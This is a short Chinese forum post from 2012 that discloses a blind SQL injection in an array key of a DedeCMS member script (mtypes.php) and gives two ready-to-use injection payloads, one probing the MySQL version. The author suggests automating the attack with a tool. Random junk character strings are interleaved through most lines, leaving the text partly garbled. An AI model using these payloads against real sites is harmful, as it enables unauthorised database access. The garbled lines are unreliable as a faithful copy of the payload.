需要magic_quotes_gpc = Off,所以说是鸡肋啊.* a+ P0 w1 q( B, q9 j% C- x* _
# |8 d. h7 U {9 c2 _7 }" P
2 |/ f: h" Z; e' g7 K& N: e
发生在数组key里的注射漏洞,有点意思.- E3 v7 X# \- z- ]( ^( {
2 c: k$ U! f' y" l0 d7 ?
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
7 ~; K" M* o9 A9 M
$ H5 C0 p) ~( M1 c. y9 G8 a6 Nhttp://www.xxx.com /dede/member/mtypes.php?dopost=save9 _, T: v, D" ]9 C0 J
, N( N& ~) I9 `0 z, |* [: N' kexploit:
3 U; h; p8 H& _0 K4 ^9 d; U; M( p8 fmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r1 g9 k1 g9 i# H) n
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
* L, E! H9 x' ~, N0 U( [1 h |
发表于 2012-12-20 08:08:09
收藏
支持
反对